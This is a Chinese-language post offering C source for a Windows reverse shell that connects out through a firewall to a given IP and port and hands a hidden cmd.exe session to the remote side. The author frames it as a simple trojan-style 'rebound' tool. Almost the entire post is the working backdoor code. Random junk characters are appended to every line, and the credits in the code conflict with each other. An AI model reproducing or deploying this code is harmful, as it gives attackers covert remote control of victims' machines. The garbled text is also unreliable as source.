这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cNlY=L
>04>rn#},,
/* ============================== 8{SU?MHQLE
Rebound port in Windows NT 0/@ X!|X
By wind,2006/7 aC~n:0v
===============================*/ <-B"|u
#include _<RR`
#include l()MYuLNV
6mpg&'>
#pragma comment(lib,"wsock32.lib") Tb1}XvZ
0$L0fhw.
void OutputShell(); W#jZRviyq!
SOCKET sClient; X0Z-1bs
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~J>gVg%66
o;4e)tK
void main(int argc,char **argv) Jp3di&x
{ v<3o[m q
WSADATA stWsaData; AOlt,MNpQ
int nRet; ca/o#9:N`:
SOCKADDR_IN stSaiClient,stSaiServer; ^Z>B/aJq
Xvj=*wg\Y
if(argc != 3) ezr\T
{ O(D5A?tv!
printf("Useage:\n\rRebound DestIP DestPort\n"); ]a6O(]
return; yI.}3y{^5
} 3_\{[_W
o d}EM_
WSAStartup(MAKEWORD(2,2),&stWsaData); g7 Md
,]uX:h-EM
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @bW[J
VqClM
stSaiClient.sin_family = AF_INET; v= *Bb3dt
stSaiClient.sin_port = htons(0); :Dk@?o@2;C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 833%H`jQc
?H[5O+P[
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6i]Nr@1C
{ @Xve qUUU
printf("Bind Socket Failed!\n"); %]chL.s
return; lP@)
} dgco*TIGO
^)OZ`u8
stSaiServer.sin_family = AF_INET; 9P7xoXJ@y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0\cnc^Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QOT)x4!)
3'[Rvy{
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8
)mjy!,
{ h"u<E\g
printf("Connect Error!"); [;?"R-V"z
return; oNuPP5d[]
} ,C{^`Bk-W
OutputShell(); iY
^{wi~?
} (!ZQ
%XJQ0CE<(
void OutputShell() -XBKOybHBO
{ Qj
6gg
char szBuff[1024]; =PNdP
SECURITY_ATTRIBUTES stSecurityAttributes; %bIsrQ~B
OSVERSIONINFO stOsversionInfo; 9W1;Kb|Z<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X0y?<G1(a
STARTUPINFO stStartupInfo; L!;^#g
char *szShell; VLcyPM@"Q!
PROCESS_INFORMATION stProcessInformation; N@Xg5huO
unsigned long lBytesRead; ug^om{e-
l60ikc4$I
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7$(_j<o`
?. zu2
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V~OUE]]Q
stSecurityAttributes.lpSecurityDescriptor = 0; 6xQ"bFm
stSecurityAttributes.bInheritHandle = TRUE; O6yP
qG *j
94Xjz(
CE~r4
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f5@.^hi[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >9-Dd)<
L~*u4
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |/@0~O(6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]{YN{
stStartupInfo.wShowWindow = SW_HIDE; d,)}+G
stStartupInfo.hStdInput = hReadPipe; fO*)LPen.z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q> kiVvc
5pO]vBT
GetVersionEx(&stOsversionInfo); ~6p5H}'H1
xb%/sz(4
switch(stOsversionInfo.dwPlatformId) %fHH{60
{ aT&t_^[]
case 1: p`
$fTgm
szShell = "command.com"; 1{^CfamF
break; ,1,&b_
default: 21U&Ww
szShell = "cmd.exe"; aZ$/<|y~:_
break; Zw+=ng.q?
} cI5N"U@yN
wY/bA}%
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '?5S"??
$Jc q7E~
send(sClient,szMsg,77,0); (}G!np
while(1) bV_j`:MD
{ &1P(O\d
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {t&*>ma6)
if(lBytesRead) YNI;h%w
{ 6;gLwOeOHY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MZ WmlJ
send(sClient,szBuff,lBytesRead,0); xWDR726
} xpAok]
else ^ESUMXb
{ gSb,s [p&+
lBytesRead=recv(sClient,szBuff,1024,0); $(3uOsy
if(lBytesRead<=0) break; Y17hOKc`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); opXDm\
} }w#F6
} Y3k[~A7X
s"WBw'_<<
return; z|I0-1tAK
}